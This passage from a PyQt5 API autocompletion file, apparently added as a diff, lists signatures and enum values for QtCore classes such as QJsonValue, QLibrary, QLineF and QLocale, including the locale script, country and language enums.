+QtCore.QJsonValue.isNull?4() -> bool +QtCore.QJsonValue.isBool?4() -> bool +QtCore.QJsonValue.isDouble?4() -> bool +QtCore.QJsonValue.isString?4() -> bool +QtCore.QJsonValue.isArray?4() -> bool +QtCore.QJsonValue.isObject?4() -> bool +QtCore.QJsonValue.isUndefined?4() -> bool +QtCore.QJsonValue.toBool?4(bool defaultValue=False) -> bool +QtCore.QJsonValue.toInt?4(int defaultValue=0) -> int +QtCore.QJsonValue.toDouble?4(float defaultValue=0) -> float +QtCore.QJsonValue.toArray?4() -> QJsonArray +QtCore.QJsonValue.toArray?4(QJsonArray) -> QJsonArray +QtCore.QJsonValue.toObject?4() -> QJsonObject +QtCore.QJsonValue.toObject?4(QJsonObject) -> QJsonObject +QtCore.QJsonValue.toString?4() -> QString +QtCore.QJsonValue.toString?4(QString) -> QString +QtCore.QJsonValue.swap?4(QJsonValue) +QtCore.QLibrary.LoadHint?10 +QtCore.QLibrary.LoadHint.ResolveAllSymbolsHint?10 +QtCore.QLibrary.LoadHint.ExportExternalSymbolsHint?10 +QtCore.QLibrary.LoadHint.LoadArchiveMemberHint?10 +QtCore.QLibrary.LoadHint.PreventUnloadHint?10 +QtCore.QLibrary.LoadHint.DeepBindHint?10 +QtCore.QLibrary?1(QObject parent=None) +QtCore.QLibrary.__init__?1(self, QObject parent=None) +QtCore.QLibrary?1(QString, QObject parent=None) +QtCore.QLibrary.__init__?1(self, QString, QObject parent=None) +QtCore.QLibrary?1(QString, int, QObject parent=None) +QtCore.QLibrary.__init__?1(self, QString, int, QObject parent=None) +QtCore.QLibrary?1(QString, QString, QObject parent=None) +QtCore.QLibrary.__init__?1(self, QString, QString, QObject parent=None) +QtCore.QLibrary.errorString?4() -> QString +QtCore.QLibrary.fileName?4() -> QString +QtCore.QLibrary.isLoaded?4() -> bool +QtCore.QLibrary.load?4() -> bool +QtCore.QLibrary.loadHints?4() -> QLibrary.LoadHints +QtCore.QLibrary.resolve?4(str) -> sip.voidptr +QtCore.QLibrary.resolve?4(QString, str) -> sip.voidptr +QtCore.QLibrary.resolve?4(QString, int, str) -> sip.voidptr +QtCore.QLibrary.resolve?4(QString, QString, str) -> sip.voidptr +QtCore.QLibrary.unload?4() -> bool +QtCore.QLibrary.isLibrary?4(QString) -> bool +QtCore.QLibrary.setFileName?4(QString) +QtCore.QLibrary.setFileNameAndVersion?4(QString, int) +QtCore.QLibrary.setFileNameAndVersion?4(QString, QString) +QtCore.QLibrary.setLoadHints?4(QLibrary.LoadHints) +QtCore.QLibrary.LoadHints?1() +QtCore.QLibrary.LoadHints.__init__?1(self) +QtCore.QLibrary.LoadHints?1(int) +QtCore.QLibrary.LoadHints.__init__?1(self, int) +QtCore.QLibrary.LoadHints?1(QLibrary.LoadHints) +QtCore.QLibrary.LoadHints.__init__?1(self, QLibrary.LoadHints) +QtCore.QLibraryInfo.LibraryLocation?10 +QtCore.QLibraryInfo.LibraryLocation.PrefixPath?10 +QtCore.QLibraryInfo.LibraryLocation.DocumentationPath?10 +QtCore.QLibraryInfo.LibraryLocation.HeadersPath?10 +QtCore.QLibraryInfo.LibraryLocation.LibrariesPath?10 +QtCore.QLibraryInfo.LibraryLocation.BinariesPath?10 +QtCore.QLibraryInfo.LibraryLocation.PluginsPath?10 +QtCore.QLibraryInfo.LibraryLocation.DataPath?10 +QtCore.QLibraryInfo.LibraryLocation.TranslationsPath?10 +QtCore.QLibraryInfo.LibraryLocation.SettingsPath?10 +QtCore.QLibraryInfo.LibraryLocation.ExamplesPath?10 +QtCore.QLibraryInfo.LibraryLocation.ImportsPath?10 +QtCore.QLibraryInfo.LibraryLocation.TestsPath?10 +QtCore.QLibraryInfo.LibraryLocation.LibraryExecutablesPath?10 +QtCore.QLibraryInfo.LibraryLocation.Qml2ImportsPath?10 +QtCore.QLibraryInfo.LibraryLocation.ArchDataPath?10 +QtCore.QLibraryInfo?1(QLibraryInfo) +QtCore.QLibraryInfo.__init__?1(self, QLibraryInfo) +QtCore.QLibraryInfo.licensee?4() -> QString +QtCore.QLibraryInfo.licensedProducts?4() -> QString +QtCore.QLibraryInfo.location?4(QLibraryInfo.LibraryLocation) -> QString +QtCore.QLibraryInfo.buildDate?4() -> QDate +QtCore.QLibraryInfo.isDebugBuild?4() -> bool +QtCore.QLibraryInfo.version?4() -> QVersionNumber +QtCore.QLine?1() +QtCore.QLine.__init__?1(self) +QtCore.QLine?1(QPoint, QPoint) +QtCore.QLine.__init__?1(self, QPoint, QPoint) +QtCore.QLine?1(int, int, int, int) +QtCore.QLine.__init__?1(self, int, int, int, int) +QtCore.QLine?1(QLine) +QtCore.QLine.__init__?1(self, QLine) +QtCore.QLine.isNull?4() -> bool +QtCore.QLine.x1?4() -> int +QtCore.QLine.y1?4() -> int +QtCore.QLine.x2?4() -> int +QtCore.QLine.y2?4() -> int +QtCore.QLine.p1?4() -> QPoint +QtCore.QLine.p2?4() -> QPoint +QtCore.QLine.dx?4() -> int +QtCore.QLine.dy?4() -> int +QtCore.QLine.translate?4(QPoint) +QtCore.QLine.translate?4(int, int) +QtCore.QLine.translated?4(QPoint) -> QLine +QtCore.QLine.translated?4(int, int) -> QLine +QtCore.QLine.setP1?4(QPoint) +QtCore.QLine.setP2?4(QPoint) +QtCore.QLine.setPoints?4(QPoint, QPoint) +QtCore.QLine.setLine?4(int, int, int, int) +QtCore.QLine.center?4() -> QPoint +QtCore.QLineF.IntersectType?10 +QtCore.QLineF.IntersectType.NoIntersection?10 +QtCore.QLineF.IntersectType.BoundedIntersection?10 +QtCore.QLineF.IntersectType.UnboundedIntersection?10 +QtCore.QLineF?1(QLine) +QtCore.QLineF.__init__?1(self, QLine) +QtCore.QLineF?1() +QtCore.QLineF.__init__?1(self) +QtCore.QLineF?1(QPointF, QPointF) +QtCore.QLineF.__init__?1(self, QPointF, QPointF) +QtCore.QLineF?1(float, float, float, float) +QtCore.QLineF.__init__?1(self, float, float, float, float) +QtCore.QLineF?1(QLineF) +QtCore.QLineF.__init__?1(self, QLineF) +QtCore.QLineF.isNull?4() -> bool +QtCore.QLineF.length?4() -> float +QtCore.QLineF.unitVector?4() -> QLineF +QtCore.QLineF.intersect?4(QLineF, QPointF) -> QLineF.IntersectType +QtCore.QLineF.intersects?4(QLineF) -> (QLineF.IntersectType, QPointF) +QtCore.QLineF.x1?4() -> float +QtCore.QLineF.y1?4() -> float +QtCore.QLineF.x2?4() -> float +QtCore.QLineF.y2?4() -> float +QtCore.QLineF.p1?4() -> QPointF +QtCore.QLineF.p2?4() -> QPointF +QtCore.QLineF.dx?4() -> float +QtCore.QLineF.dy?4() -> float +QtCore.QLineF.normalVector?4() -> QLineF +QtCore.QLineF.translate?4(QPointF) +QtCore.QLineF.translate?4(float, float) +QtCore.QLineF.setLength?4(float) +QtCore.QLineF.pointAt?4(float) -> QPointF +QtCore.QLineF.toLine?4() -> QLine +QtCore.QLineF.fromPolar?4(float, float) -> QLineF +QtCore.QLineF.angle?4() -> float +QtCore.QLineF.setAngle?4(float) +QtCore.QLineF.angleTo?4(QLineF) -> float +QtCore.QLineF.translated?4(QPointF) -> QLineF +QtCore.QLineF.translated?4(float, float) -> QLineF +QtCore.QLineF.setP1?4(QPointF) +QtCore.QLineF.setP2?4(QPointF) +QtCore.QLineF.setPoints?4(QPointF, QPointF) +QtCore.QLineF.setLine?4(float, float, float, float) +QtCore.QLineF.center?4() -> QPointF +QtCore.QLocale.DataSizeFormat?10 +QtCore.QLocale.DataSizeFormat.DataSizeIecFormat?10 +QtCore.QLocale.DataSizeFormat.DataSizeTraditionalFormat?10 +QtCore.QLocale.DataSizeFormat.DataSizeSIFormat?10 +QtCore.QLocale.FloatingPointPrecisionOption?10 +QtCore.QLocale.FloatingPointPrecisionOption.FloatingPointShortest?10 +QtCore.QLocale.QuotationStyle?10 +QtCore.QLocale.QuotationStyle.StandardQuotation?10 +QtCore.QLocale.QuotationStyle.AlternateQuotation?10 +QtCore.QLocale.CurrencySymbolFormat?10 +QtCore.QLocale.CurrencySymbolFormat.CurrencyIsoCode?10 +QtCore.QLocale.CurrencySymbolFormat.CurrencySymbol?10 +QtCore.QLocale.CurrencySymbolFormat.CurrencyDisplayName?10 +QtCore.QLocale.Script?10 +QtCore.QLocale.Script.AnyScript?10 +QtCore.QLocale.Script.ArabicScript?10 +QtCore.QLocale.Script.CyrillicScript?10 +QtCore.QLocale.Script.DeseretScript?10 +QtCore.QLocale.Script.GurmukhiScript?10 +QtCore.QLocale.Script.SimplifiedHanScript?10 +QtCore.QLocale.Script.TraditionalHanScript?10 +QtCore.QLocale.Script.LatinScript?10 +QtCore.QLocale.Script.MongolianScript?10 +QtCore.QLocale.Script.TifinaghScript?10 +QtCore.QLocale.Script.SimplifiedChineseScript?10 +QtCore.QLocale.Script.TraditionalChineseScript?10 +QtCore.QLocale.Script.ArmenianScript?10 +QtCore.QLocale.Script.BengaliScript?10 +QtCore.QLocale.Script.CherokeeScript?10 +QtCore.QLocale.Script.DevanagariScript?10 +QtCore.QLocale.Script.EthiopicScript?10 +QtCore.QLocale.Script.GeorgianScript?10 +QtCore.QLocale.Script.GreekScript?10 +QtCore.QLocale.Script.GujaratiScript?10 +QtCore.QLocale.Script.HebrewScript?10 +QtCore.QLocale.Script.JapaneseScript?10 +QtCore.QLocale.Script.KhmerScript?10 +QtCore.QLocale.Script.KannadaScript?10 +QtCore.QLocale.Script.KoreanScript?10 +QtCore.QLocale.Script.LaoScript?10 +QtCore.QLocale.Script.MalayalamScript?10 +QtCore.QLocale.Script.MyanmarScript?10 +QtCore.QLocale.Script.OriyaScript?10 +QtCore.QLocale.Script.TamilScript?10 +QtCore.QLocale.Script.TeluguScript?10 +QtCore.QLocale.Script.ThaanaScript?10 +QtCore.QLocale.Script.ThaiScript?10 +QtCore.QLocale.Script.TibetanScript?10 +QtCore.QLocale.Script.SinhalaScript?10 +QtCore.QLocale.Script.SyriacScript?10 +QtCore.QLocale.Script.YiScript?10 +QtCore.QLocale.Script.VaiScript?10 +QtCore.QLocale.Script.AvestanScript?10 +QtCore.QLocale.Script.BalineseScript?10 +QtCore.QLocale.Script.BamumScript?10 +QtCore.QLocale.Script.BatakScript?10 +QtCore.QLocale.Script.BopomofoScript?10 +QtCore.QLocale.Script.BrahmiScript?10 +QtCore.QLocale.Script.BugineseScript?10 +QtCore.QLocale.Script.BuhidScript?10 +QtCore.QLocale.Script.CanadianAboriginalScript?10 +QtCore.QLocale.Script.CarianScript?10 +QtCore.QLocale.Script.ChakmaScript?10 +QtCore.QLocale.Script.ChamScript?10 +QtCore.QLocale.Script.CopticScript?10 +QtCore.QLocale.Script.CypriotScript?10 +QtCore.QLocale.Script.EgyptianHieroglyphsScript?10 +QtCore.QLocale.Script.FraserScript?10 +QtCore.QLocale.Script.GlagoliticScript?10 +QtCore.QLocale.Script.GothicScript?10 +QtCore.QLocale.Script.HanScript?10 +QtCore.QLocale.Script.HangulScript?10 +QtCore.QLocale.Script.HanunooScript?10 +QtCore.QLocale.Script.ImperialAramaicScript?10 +QtCore.QLocale.Script.InscriptionalPahlaviScript?10 +QtCore.QLocale.Script.InscriptionalParthianScript?10 +QtCore.QLocale.Script.JavaneseScript?10 +QtCore.QLocale.Script.KaithiScript?10 +QtCore.QLocale.Script.KatakanaScript?10 +QtCore.QLocale.Script.KayahLiScript?10 +QtCore.QLocale.Script.KharoshthiScript?10 +QtCore.QLocale.Script.LannaScript?10 +QtCore.QLocale.Script.LepchaScript?10 +QtCore.QLocale.Script.LimbuScript?10 +QtCore.QLocale.Script.LinearBScript?10 +QtCore.QLocale.Script.LycianScript?10 +QtCore.QLocale.Script.LydianScript?10 +QtCore.QLocale.Script.MandaeanScript?10 +QtCore.QLocale.Script.MeiteiMayekScript?10 +QtCore.QLocale.Script.MeroiticScript?10 +QtCore.QLocale.Script.MeroiticCursiveScript?10 +QtCore.QLocale.Script.NkoScript?10 +QtCore.QLocale.Script.NewTaiLueScript?10 +QtCore.QLocale.Script.OghamScript?10 +QtCore.QLocale.Script.OlChikiScript?10 +QtCore.QLocale.Script.OldItalicScript?10 +QtCore.QLocale.Script.OldPersianScript?10 +QtCore.QLocale.Script.OldSouthArabianScript?10 +QtCore.QLocale.Script.OrkhonScript?10 +QtCore.QLocale.Script.OsmanyaScript?10 +QtCore.QLocale.Script.PhagsPaScript?10 +QtCore.QLocale.Script.PhoenicianScript?10 +QtCore.QLocale.Script.PollardPhoneticScript?10 +QtCore.QLocale.Script.RejangScript?10 +QtCore.QLocale.Script.RunicScript?10 +QtCore.QLocale.Script.SamaritanScript?10 +QtCore.QLocale.Script.SaurashtraScript?10 +QtCore.QLocale.Script.SharadaScript?10 +QtCore.QLocale.Script.ShavianScript?10 +QtCore.QLocale.Script.SoraSompengScript?10 +QtCore.QLocale.Script.CuneiformScript?10 +QtCore.QLocale.Script.SundaneseScript?10 +QtCore.QLocale.Script.SylotiNagriScript?10 +QtCore.QLocale.Script.TagalogScript?10 +QtCore.QLocale.Script.TagbanwaScript?10 +QtCore.QLocale.Script.TaiLeScript?10 +QtCore.QLocale.Script.TaiVietScript?10 +QtCore.QLocale.Script.TakriScript?10 +QtCore.QLocale.Script.UgariticScript?10 +QtCore.QLocale.Script.BrailleScript?10 +QtCore.QLocale.Script.HiraganaScript?10 +QtCore.QLocale.Script.CaucasianAlbanianScript?10 +QtCore.QLocale.Script.BassaVahScript?10 +QtCore.QLocale.Script.DuployanScript?10 +QtCore.QLocale.Script.ElbasanScript?10 +QtCore.QLocale.Script.GranthaScript?10 +QtCore.QLocale.Script.PahawhHmongScript?10 +QtCore.QLocale.Script.KhojkiScript?10 +QtCore.QLocale.Script.LinearAScript?10 +QtCore.QLocale.Script.MahajaniScript?10 +QtCore.QLocale.Script.ManichaeanScript?10 +QtCore.QLocale.Script.MendeKikakuiScript?10 +QtCore.QLocale.Script.ModiScript?10 +QtCore.QLocale.Script.MroScript?10 +QtCore.QLocale.Script.OldNorthArabianScript?10 +QtCore.QLocale.Script.NabataeanScript?10 +QtCore.QLocale.Script.PalmyreneScript?10 +QtCore.QLocale.Script.PauCinHauScript?10 +QtCore.QLocale.Script.OldPermicScript?10 +QtCore.QLocale.Script.PsalterPahlaviScript?10 +QtCore.QLocale.Script.SiddhamScript?10 +QtCore.QLocale.Script.KhudawadiScript?10 +QtCore.QLocale.Script.TirhutaScript?10 +QtCore.QLocale.Script.VarangKshitiScript?10 +QtCore.QLocale.Script.AhomScript?10 +QtCore.QLocale.Script.AnatolianHieroglyphsScript?10 +QtCore.QLocale.Script.HatranScript?10 +QtCore.QLocale.Script.MultaniScript?10 +QtCore.QLocale.Script.OldHungarianScript?10 +QtCore.QLocale.Script.SignWritingScript?10 +QtCore.QLocale.Script.AdlamScript?10 +QtCore.QLocale.Script.BhaiksukiScript?10 +QtCore.QLocale.Script.MarchenScript?10 +QtCore.QLocale.Script.NewaScript?10 +QtCore.QLocale.Script.OsageScript?10 +QtCore.QLocale.Script.TangutScript?10 +QtCore.QLocale.Script.HanWithBopomofoScript?10 +QtCore.QLocale.Script.JamoScript?10 +QtCore.QLocale.MeasurementSystem?10 +QtCore.QLocale.MeasurementSystem.MetricSystem?10 +QtCore.QLocale.MeasurementSystem.ImperialSystem?10 +QtCore.QLocale.MeasurementSystem.ImperialUSSystem?10 +QtCore.QLocale.MeasurementSystem.ImperialUKSystem?10 +QtCore.QLocale.FormatType?10 +QtCore.QLocale.FormatType.LongFormat?10 +QtCore.QLocale.FormatType.ShortFormat?10 +QtCore.QLocale.FormatType.NarrowFormat?10 +QtCore.QLocale.NumberOption?10 +QtCore.QLocale.NumberOption.OmitGroupSeparator?10 +QtCore.QLocale.NumberOption.RejectGroupSeparator?10 +QtCore.QLocale.NumberOption.DefaultNumberOptions?10 +QtCore.QLocale.NumberOption.OmitLeadingZeroInExponent?10 +QtCore.QLocale.NumberOption.RejectLeadingZeroInExponent?10 +QtCore.QLocale.NumberOption.IncludeTrailingZeroesAfterDot?10 +QtCore.QLocale.NumberOption.RejectTrailingZeroesAfterDot?10 +QtCore.QLocale.Country?10 +QtCore.QLocale.Country.AnyCountry?10 +QtCore.QLocale.Country.Afghanistan?10 +QtCore.QLocale.Country.Albania?10 +QtCore.QLocale.Country.Algeria?10 +QtCore.QLocale.Country.AmericanSamoa?10 +QtCore.QLocale.Country.Andorra?10 +QtCore.QLocale.Country.Angola?10 +QtCore.QLocale.Country.Anguilla?10 +QtCore.QLocale.Country.Antarctica?10 +QtCore.QLocale.Country.AntiguaAndBarbuda?10 +QtCore.QLocale.Country.Argentina?10 +QtCore.QLocale.Country.Armenia?10 +QtCore.QLocale.Country.Aruba?10 +QtCore.QLocale.Country.Australia?10 +QtCore.QLocale.Country.Austria?10 +QtCore.QLocale.Country.Azerbaijan?10 +QtCore.QLocale.Country.Bahamas?10 +QtCore.QLocale.Country.Bahrain?10 +QtCore.QLocale.Country.Bangladesh?10 +QtCore.QLocale.Country.Barbados?10 +QtCore.QLocale.Country.Belarus?10 +QtCore.QLocale.Country.Belgium?10 +QtCore.QLocale.Country.Belize?10 +QtCore.QLocale.Country.Benin?10 +QtCore.QLocale.Country.Bermuda?10 +QtCore.QLocale.Country.Bhutan?10 +QtCore.QLocale.Country.Bolivia?10 +QtCore.QLocale.Country.BosniaAndHerzegowina?10 +QtCore.QLocale.Country.Botswana?10 +QtCore.QLocale.Country.BouvetIsland?10 +QtCore.QLocale.Country.Brazil?10 +QtCore.QLocale.Country.BritishIndianOceanTerritory?10 +QtCore.QLocale.Country.Bulgaria?10 +QtCore.QLocale.Country.BurkinaFaso?10 +QtCore.QLocale.Country.Burundi?10 +QtCore.QLocale.Country.Cambodia?10 +QtCore.QLocale.Country.Cameroon?10 +QtCore.QLocale.Country.Canada?10 +QtCore.QLocale.Country.CapeVerde?10 +QtCore.QLocale.Country.CaymanIslands?10 +QtCore.QLocale.Country.CentralAfricanRepublic?10 +QtCore.QLocale.Country.Chad?10 +QtCore.QLocale.Country.Chile?10 +QtCore.QLocale.Country.China?10 +QtCore.QLocale.Country.ChristmasIsland?10 +QtCore.QLocale.Country.CocosIslands?10 +QtCore.QLocale.Country.Colombia?10 +QtCore.QLocale.Country.Comoros?10 +QtCore.QLocale.Country.DemocraticRepublicOfCongo?10 +QtCore.QLocale.Country.PeoplesRepublicOfCongo?10 +QtCore.QLocale.Country.CookIslands?10 +QtCore.QLocale.Country.CostaRica?10 +QtCore.QLocale.Country.IvoryCoast?10 +QtCore.QLocale.Country.Croatia?10 +QtCore.QLocale.Country.Cuba?10 +QtCore.QLocale.Country.Cyprus?10 +QtCore.QLocale.Country.CzechRepublic?10 +QtCore.QLocale.Country.Denmark?10 +QtCore.QLocale.Country.Djibouti?10 +QtCore.QLocale.Country.Dominica?10 +QtCore.QLocale.Country.DominicanRepublic?10 +QtCore.QLocale.Country.EastTimor?10 +QtCore.QLocale.Country.Ecuador?10 +QtCore.QLocale.Country.Egypt?10 +QtCore.QLocale.Country.ElSalvador?10 +QtCore.QLocale.Country.EquatorialGuinea?10 +QtCore.QLocale.Country.Eritrea?10 +QtCore.QLocale.Country.Estonia?10 +QtCore.QLocale.Country.Ethiopia?10 +QtCore.QLocale.Country.FalklandIslands?10 +QtCore.QLocale.Country.FaroeIslands?10 +QtCore.QLocale.Country.Finland?10 +QtCore.QLocale.Country.France?10 +QtCore.QLocale.Country.FrenchGuiana?10 +QtCore.QLocale.Country.FrenchPolynesia?10 +QtCore.QLocale.Country.FrenchSouthernTerritories?10 +QtCore.QLocale.Country.Gabon?10 +QtCore.QLocale.Country.Gambia?10 +QtCore.QLocale.Country.Georgia?10 +QtCore.QLocale.Country.Germany?10 +QtCore.QLocale.Country.Ghana?10 +QtCore.QLocale.Country.Gibraltar?10 +QtCore.QLocale.Country.Greece?10 +QtCore.QLocale.Country.Greenland?10 +QtCore.QLocale.Country.Grenada?10 +QtCore.QLocale.Country.Guadeloupe?10 +QtCore.QLocale.Country.Guam?10 +QtCore.QLocale.Country.Guatemala?10 +QtCore.QLocale.Country.Guinea?10 +QtCore.QLocale.Country.GuineaBissau?10 +QtCore.QLocale.Country.Guyana?10 +QtCore.QLocale.Country.Haiti?10 +QtCore.QLocale.Country.HeardAndMcDonaldIslands?10 +QtCore.QLocale.Country.Honduras?10 +QtCore.QLocale.Country.HongKong?10 +QtCore.QLocale.Country.Hungary?10 +QtCore.QLocale.Country.Iceland?10 +QtCore.QLocale.Country.India?10 +QtCore.QLocale.Country.Indonesia?10 +QtCore.QLocale.Country.Iran?10 +QtCore.QLocale.Country.Iraq?10 +QtCore.QLocale.Country.Ireland?10 +QtCore.QLocale.Country.Israel?10 +QtCore.QLocale.Country.Italy?10 +QtCore.QLocale.Country.Jamaica?10 +QtCore.QLocale.Country.Japan?10 +QtCore.QLocale.Country.Jordan?10 +QtCore.QLocale.Country.Kazakhstan?10 +QtCore.QLocale.Country.Kenya?10 +QtCore.QLocale.Country.Kiribati?10 +QtCore.QLocale.Country.DemocraticRepublicOfKorea?10 +QtCore.QLocale.Country.RepublicOfKorea?10 +QtCore.QLocale.Country.Kuwait?10 +QtCore.QLocale.Country.Kyrgyzstan?10 +QtCore.QLocale.Country.Latvia?10 +QtCore.QLocale.Country.Lebanon?10 +QtCore.QLocale.Country.Lesotho?10 +QtCore.QLocale.Country.Liberia?10 +QtCore.QLocale.Country.Liechtenstein?10 +QtCore.QLocale.Country.Lithuania?10 +QtCore.QLocale.Country.Luxembourg?10 +QtCore.QLocale.Country.Macau?10 +QtCore.QLocale.Country.Macedonia?10 +QtCore.QLocale.Country.Madagascar?10 +QtCore.QLocale.Country.Malawi?10 +QtCore.QLocale.Country.Malaysia?10 +QtCore.QLocale.Country.Maldives?10 +QtCore.QLocale.Country.Mali?10 +QtCore.QLocale.Country.Malta?10 +QtCore.QLocale.Country.MarshallIslands?10 +QtCore.QLocale.Country.Martinique?10 +QtCore.QLocale.Country.Mauritania?10 +QtCore.QLocale.Country.Mauritius?10 +QtCore.QLocale.Country.Mayotte?10 +QtCore.QLocale.Country.Mexico?10 +QtCore.QLocale.Country.Micronesia?10 +QtCore.QLocale.Country.Moldova?10 +QtCore.QLocale.Country.Monaco?10 +QtCore.QLocale.Country.Mongolia?10 +QtCore.QLocale.Country.Montserrat?10 +QtCore.QLocale.Country.Morocco?10 +QtCore.QLocale.Country.Mozambique?10 +QtCore.QLocale.Country.Myanmar?10 +QtCore.QLocale.Country.Namibia?10 +QtCore.QLocale.Country.NauruCountry?10 +QtCore.QLocale.Country.Nepal?10 +QtCore.QLocale.Country.Netherlands?10 +QtCore.QLocale.Country.NewCaledonia?10 +QtCore.QLocale.Country.NewZealand?10 +QtCore.QLocale.Country.Nicaragua?10 +QtCore.QLocale.Country.Niger?10 +QtCore.QLocale.Country.Nigeria?10 +QtCore.QLocale.Country.Niue?10 +QtCore.QLocale.Country.NorfolkIsland?10 +QtCore.QLocale.Country.NorthernMarianaIslands?10 +QtCore.QLocale.Country.Norway?10 +QtCore.QLocale.Country.Oman?10 +QtCore.QLocale.Country.Pakistan?10 +QtCore.QLocale.Country.Palau?10 +QtCore.QLocale.Country.Panama?10 +QtCore.QLocale.Country.PapuaNewGuinea?10 +QtCore.QLocale.Country.Paraguay?10 +QtCore.QLocale.Country.Peru?10 +QtCore.QLocale.Country.Philippines?10 +QtCore.QLocale.Country.Pitcairn?10 +QtCore.QLocale.Country.Poland?10 +QtCore.QLocale.Country.Portugal?10 +QtCore.QLocale.Country.PuertoRico?10 +QtCore.QLocale.Country.Qatar?10 +QtCore.QLocale.Country.Reunion?10 +QtCore.QLocale.Country.Romania?10 +QtCore.QLocale.Country.RussianFederation?10 +QtCore.QLocale.Country.Rwanda?10 +QtCore.QLocale.Country.SaintKittsAndNevis?10 +QtCore.QLocale.Country.Samoa?10 +QtCore.QLocale.Country.SanMarino?10 +QtCore.QLocale.Country.SaoTomeAndPrincipe?10 +QtCore.QLocale.Country.SaudiArabia?10 +QtCore.QLocale.Country.Senegal?10 +QtCore.QLocale.Country.Seychelles?10 +QtCore.QLocale.Country.SierraLeone?10 +QtCore.QLocale.Country.Singapore?10 +QtCore.QLocale.Country.Slovakia?10 +QtCore.QLocale.Country.Slovenia?10 +QtCore.QLocale.Country.SolomonIslands?10 +QtCore.QLocale.Country.Somalia?10 +QtCore.QLocale.Country.SouthAfrica?10 +QtCore.QLocale.Country.SouthGeorgiaAndTheSouthSandwichIslands?10 +QtCore.QLocale.Country.Spain?10 +QtCore.QLocale.Country.SriLanka?10 +QtCore.QLocale.Country.Sudan?10 +QtCore.QLocale.Country.Suriname?10 +QtCore.QLocale.Country.SvalbardAndJanMayenIslands?10 +QtCore.QLocale.Country.Swaziland?10 +QtCore.QLocale.Country.Sweden?10 +QtCore.QLocale.Country.Switzerland?10 +QtCore.QLocale.Country.SyrianArabRepublic?10 +QtCore.QLocale.Country.Taiwan?10 +QtCore.QLocale.Country.Tajikistan?10 +QtCore.QLocale.Country.Tanzania?10 +QtCore.QLocale.Country.Thailand?10 +QtCore.QLocale.Country.Togo?10 +QtCore.QLocale.Country.Tokelau?10 +QtCore.QLocale.Country.TrinidadAndTobago?10 +QtCore.QLocale.Country.Tunisia?10 +QtCore.QLocale.Country.Turkey?10 +QtCore.QLocale.Country.Turkmenistan?10 +QtCore.QLocale.Country.TurksAndCaicosIslands?10 +QtCore.QLocale.Country.Tuvalu?10 +QtCore.QLocale.Country.Uganda?10 +QtCore.QLocale.Country.Ukraine?10 +QtCore.QLocale.Country.UnitedArabEmirates?10 +QtCore.QLocale.Country.UnitedKingdom?10 +QtCore.QLocale.Country.UnitedStates?10 +QtCore.QLocale.Country.UnitedStatesMinorOutlyingIslands?10 +QtCore.QLocale.Country.Uruguay?10 +QtCore.QLocale.Country.Uzbekistan?10 +QtCore.QLocale.Country.Vanuatu?10 +QtCore.QLocale.Country.VaticanCityState?10 +QtCore.QLocale.Country.Venezuela?10 +QtCore.QLocale.Country.BritishVirginIslands?10 +QtCore.QLocale.Country.WallisAndFutunaIslands?10 +QtCore.QLocale.Country.WesternSahara?10 +QtCore.QLocale.Country.Yemen?10 +QtCore.QLocale.Country.Zambia?10 +QtCore.QLocale.Country.Zimbabwe?10 +QtCore.QLocale.Country.Montenegro?10 +QtCore.QLocale.Country.Serbia?10 +QtCore.QLocale.Country.SaintBarthelemy?10 +QtCore.QLocale.Country.SaintMartin?10 +QtCore.QLocale.Country.LatinAmericaAndTheCaribbean?10 +QtCore.QLocale.Country.LastCountry?10 +QtCore.QLocale.Country.Brunei?10 +QtCore.QLocale.Country.CongoKinshasa?10 +QtCore.QLocale.Country.CongoBrazzaville?10 +QtCore.QLocale.Country.Fiji?10 +QtCore.QLocale.Country.Guernsey?10 +QtCore.QLocale.Country.NorthKorea?10 +QtCore.QLocale.Country.SouthKorea?10 +QtCore.QLocale.Country.Laos?10 +QtCore.QLocale.Country.Libya?10 +QtCore.QLocale.Country.CuraSao?10 +QtCore.QLocale.Country.PalestinianTerritories?10 +QtCore.QLocale.Country.Russia?10 +QtCore.QLocale.Country.SaintLucia?10 +QtCore.QLocale.Country.SaintVincentAndTheGrenadines?10 +QtCore.QLocale.Country.SaintHelena?10 +QtCore.QLocale.Country.SaintPierreAndMiquelon?10 +QtCore.QLocale.Country.Syria?10 +QtCore.QLocale.Country.Tonga?10 +QtCore.QLocale.Country.Vietnam?10 +QtCore.QLocale.Country.UnitedStatesVirginIslands?10 +QtCore.QLocale.Country.CanaryIslands?10 +QtCore.QLocale.Country.ClippertonIsland?10 +QtCore.QLocale.Country.AscensionIsland?10 +QtCore.QLocale.Country.AlandIslands?10 +QtCore.QLocale.Country.DiegoGarcia?10 +QtCore.QLocale.Country.CeutaAndMelilla?10 +QtCore.QLocale.Country.IsleOfMan?10 +QtCore.QLocale.Country.Jersey?10 +QtCore.QLocale.Country.TristanDaCunha?10 +QtCore.QLocale.Country.SouthSudan?10 +QtCore.QLocale.Country.Bonaire?10 +QtCore.QLocale.Country.SintMaarten?10 +QtCore.QLocale.Country.Kosovo?10 +QtCore.QLocale.Country.TokelauCountry?10 +QtCore.QLocale.Country.TuvaluCountry?10 +QtCore.QLocale.Country.EuropeanUnion?10 +QtCore.QLocale.Country.OutlyingOceania?10 +QtCore.QLocale.Country.LatinAmerica?10 +QtCore.QLocale.Country.World?10 +QtCore.QLocale.Country.Europe?10 +QtCore.QLocale.Language?10 +QtCore.QLocale.Language.C?10 +QtCore.QLocale.Language.Abkhazian?10 +QtCore.QLocale.Language.Afan?10 +QtCore.QLocale.Language.Afar?10 +QtCore.QLocale.Language.Afrikaans?10 +QtCore.QLocale.Language.Albanian?10 +QtCore.QLocale.Language.Amharic?10 +QtCore.QLocale.Language.Arabic?10 +QtCore.QLocale.Language.Armenian?10 +QtCore.QLocale.Language.Assamese?10 +QtCore.QLocale.Language.Aymara?10 +QtCore.QLocale.Language.Azerbaijani?10 +QtCore.QLocale.Language.Bashkir?10 +QtCore.QLocale.Language.Basque?10 +QtCore.QLocale.Language.Bengali?10 +QtCore.QLocale.Language.Bhutani?10 +QtCore.QLocale.Language.Bihari?10 +QtCore.QLocale.Language.Bislama?10 +QtCore.QLocale.Language.Breton?10 +QtCore.QLocale.Language.Bulgarian?10 +QtCore.QLocale.Language.Burmese?10 +QtCore.QLocale.Language.Byelorussian?10 +QtCore.QLocale.Language.Cambodian?10 +QtCore.QLocale.Language.Catalan?10 +QtCore.QLocale.Language.Chinese?10 +QtCore.QLocale.Language.Corsican?10 +QtCore.QLocale.Language.Croatian?10 +QtCore.QLocale.Language.Czech?10 +QtCore.QLocale.Language.Danish?10 +QtCore.QLocale.Language.Dutch?10 +QtCore.QLocale.Language.English?10 +QtCore.QLocale.Language.Esperanto?10 